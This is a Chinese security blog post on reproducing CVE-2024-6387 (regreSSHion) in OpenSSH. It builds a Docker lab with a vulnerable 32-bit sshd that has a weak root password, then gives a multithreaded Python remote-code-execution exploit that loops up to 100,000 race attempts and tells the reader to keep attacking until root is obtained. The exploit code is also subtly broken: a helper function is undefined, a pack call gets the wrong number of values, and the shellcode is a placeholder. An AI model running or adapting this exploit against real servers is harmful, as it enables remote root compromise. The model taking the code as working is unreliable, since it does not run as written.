长亭百川云 - 文章详情

CVE-2024-6387环境搭建和复现

徐睿涵

351

2024-07-04

0.省流

这本质上是一种统计漏洞:需要进行大量尝试才能赢得竞争条件并成功执行任意代码,攻击者需要克服很多障碍,”Schwartz 告诉SecurityWeek。“即使在最好的情况下,最著名的漏洞也需要 4 个多小时才能运行。”

在OpenSSH 9.8 的发布说明中,开发人员指出该漏洞仅在基于 glibc 的 32 位 Linux 系统上得到证实,并指出 OpenBSD 不受影响。

1.环境搭建

环境搭建采用Docker

1.1.编写Dockerfile

FROM i386/ubuntu:20.04  
ENV DEBIAN_FRONTEND=noninteractive  
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \  
    build-essential \  
    wget \  
    curl \  
    libssl-dev:i386 \  
    zlib1g-dev:i386  
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd  
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \  
    tar -xzf openssh-9.2p1.tar.gz && \  
    cd openssh-9.2p1 && \  
    ./configure && make && make install  
RUN mkdir /var/run/sshd  
RUN echo 'root:password' | chpasswd  
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \  
    sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \  
    echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config  
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \  
    chmod +x /show_version.sh  
EXPOSE 22  
CMD ["/usr/local/sbin/sshd", "-D"]

1.2.构建镜像

sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .

1.3.运行Docker容器

sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1

1.4.确认ssh 服务运行

docker exec -it vuln-ssh-32bit /bin/bash  
ps aux | grep sshd

2.漏洞验证

2.1.C.poc

公网有了一个,但是需要编译,代码附在相关链接里了。我改成了python的,增加了多线程并发,提高攻击速度。并加了运行次数为10万次,攻击成功后退出。

2.2.python-poc

import socket  
import time  
import struct  
import random  
import os  
from threading import Thread, Lock  
  
MAX_PACKET_SIZE = 256 * 1024  
LOGIN_GRACE_TIME = 120  
GLIBC_BASES = [0xb7200000, 0xb7400000]  
NUM_GLIBC_BASES = len(GLIBC_BASES)  
  
shellcode = b"\x90\x90\x90\x90"    
attempts_lock = Lock()  
attempts = 0  
max_attempts = 100000  
success = False  
  
def setup_connection(ip, port):  
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    sock.setblocking(False)  
    try:  
        sock.connect((ip, port))  
    except BlockingIOError:  
        pass  
    return sock  
  
def send_packet(sock, packet_type, data):  
    packet = struct.pack('>I', len(data) + 1) + struct.pack('B', packet_type) + data  
    send_all(sock, packet)  
  
def send_all(sock, data):  
    total_sent = 0  
    while total_sent < len(data):  
        try:  
            sent = sock.send(data[total_sent:])  
            if sent == 0:  
                raise RuntimeError("socket connection broken")  
            total_sent += sent  
        except BlockingIOError:  
            time.sleep(0.01)    
  
def send_ssh_version(sock):  
    ssh_version = b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n"  
    send_all(sock, ssh_version)  
  
def receive_ssh_version(sock):  
    try:  
        response = sock.recv(256)  
        print("Received SSH version:", response)  
        if b'Exceeded MaxStartups' in response:  
            return False  
        return True  
    except BlockingIOError:  
        return False  
  
def send_kex_init(sock):  
    kexinit_payload = b'\x00' * 36  
    send_packet(sock, 20, kexinit_payload)  
  
def receive_kex_init(sock):  
    try:  
        response = sock.recv(1024)  
        print("Received KEX_INIT:", len(response), "bytes")  
        return True  
    except BlockingIOError:  
        return False  
  
def perform_ssh_handshake(sock):  
    send_ssh_version(sock)  
    if not receive_ssh_version(sock):  
        print("Failed to receive SSH version")  
        return False  
    send_kex_init(sock)  
    if not receive_kex_init(sock):  
        print("Failed to receive KEX_INIT")  
        return False  
    return True  
  
def prepare_heap(sock):  
    for _ in range(10):  
        tcache_chunk = b'A' * 64  
        send_packet(sock, 5, tcache_chunk)  
  
    for _ in range(27):  
        large_hole = b'B' * 8192  
        send_packet(sock, 5, large_hole)  
        small_hole = b'C' * 320  
        send_packet(sock, 5, small_hole)  
  
    for _ in range(27):  
        fake_data = create_fake_file_structure(GLIBC_BASES[0])  
        send_packet(sock, 5, fake_data)  
  
    large_string = b'E' * (MAX_PACKET_SIZE - 1)  
    send_packet(sock, 5, large_string)  
  
def create_fake_file_structure(glibc_base):  
    data = b'\x00' * 4096  
    fake_file = struct.pack('P' * 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x61, glibc_base + 0x21b740, glibc_base + 0x21d7f8)  
    return data[:0x4c0] + fake_file + data[0x4c0 + len(fake_file):]  
  
def time_final_packet(sock):  
    start = time.time()  
    measure_response_time(sock, 1)  
    end = time.time()  
    return end - start  
  
def measure_response_time(sock, error_type):  
    if error_type == 1:  
        error_packet = b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3"  
    else:  
        error_packet = b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"  
    send_packet(sock, 50, error_packet)  
    start = time.time()  
    try:  
        sock.recv(1024)  
    except BlockingIOError:  
        pass  
    end = time.time()  
    return end - start  
  
def create_public_key_packet(glibc_base):  
    packet = b'\x00' * MAX_PACKET_SIZE  
    offset = 0  
    for _ in range(27):  
        packet = packet[:offset] + struct.pack('>I', CHUNK_ALIGN(4096)) + packet[offset + 4:]  
        offset += CHUNK_ALIGN(4096)  
        packet = packet[:offset] + struct.pack('>I', CHUNK_ALIGN(304)) + packet[offset + 4:]  
        offset += CHUNK_ALIGN(304)  
    packet = packet[:0] + b"ssh-rsa " + packet[8:]  
    packet = packet[:CHUNK_ALIGN(4096) * 13 + CHUNK_ALIGN(304) * 13] + shellcode + packet[CHUNK_ALIGN(4096) * 13 + CHUNK_ALIGN(304) * 13 + len(shellcode):]  
    for i in range(27):  
        packet = packet[:CHUNK_ALIGN(4096) * (i + 1) + CHUNK_ALIGN(304) * i] + create_fake_file_structure(glibc_base) + packet[CHUNK_ALIGN(4096) * (i + 1) + CHUNK_ALIGN(304) * i + len(create_fake_file_structure(glibc_base)):]  
    return packet  
  
def attempt_race_condition(sock, parsing_time, glibc_base):  
    final_packet = create_public_key_packet(glibc_base)  
    send_all(sock, final_packet[:-1])  
    time.sleep(LOGIN_GRACE_TIME - parsing_time - 0.001)  
    send_all(sock, final_packet[-1:])  
    try:  
        response = sock.recv(1024)  
        if response and response[:8] != b"SSH-2.0-":  
            print("Possible hit on 'large' race window")  
            return True  
    except BlockingIOError:  
        pass  
    return False  
  
def perform_exploit_thread(ip, port, glibc_base):  
    global attempts  
    global success  
  
    while not success:  
        with attempts_lock:  
            if attempts >= max_attempts:  
                break  
            attempts += 1  
            attempt = attempts  
  
        print(f"Attempt {attempt} with glibc base 0x{glibc_base:x}")  
        sock = setup_connection(ip, port)  
        if not perform_ssh_handshake(sock):  
            print(f"SSH handshake failed, attempt {attempt}")  
            sock.close()  
            time.sleep(0.5)   
            continue  
        prepare_heap(sock)  
        parsing_time = time_final_packet(sock)  
        if attempt_race_condition(sock, parsing_time, glibc_base):  
            print(f"Possible exploitation success on attempt {attempt} with glibc base 0x{glibc_base:x}!")  
            success = True  
            break  
        sock.close()  
        time.sleep(0.5)    
  
def perform_exploit(ip, port):  
    global success  
    threads = []  
    for glibc_base in GLIBC_BASES:  
        for _ in range(10):   
            t = Thread(target=perform_exploit_thread, args=(ip, port, glibc_base))  
            threads.append(t)  
            t.start()  
  
    for t in threads:  
        t.join()  
  
    return success  
  
if __name__ == "__main__":  
    import sys  
    if len(sys.argv) != 3:  
        print(f"Usage: {sys.argv[0]} <ip> <port>")  
        sys.exit(1)  
    ip = sys.argv[1]  
    port = int(sys.argv[2])  
    if perform_exploit(ip, port):  
        print("Exploit succeeded")  
    else:  
        print("Exploit failed")

你就打吧,打到猴年马月就获取到rootshell了。

1.https://github.com/passwa11/cve-2024-6387-poc/blob/main/7etsuo-regreSSHion.c

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2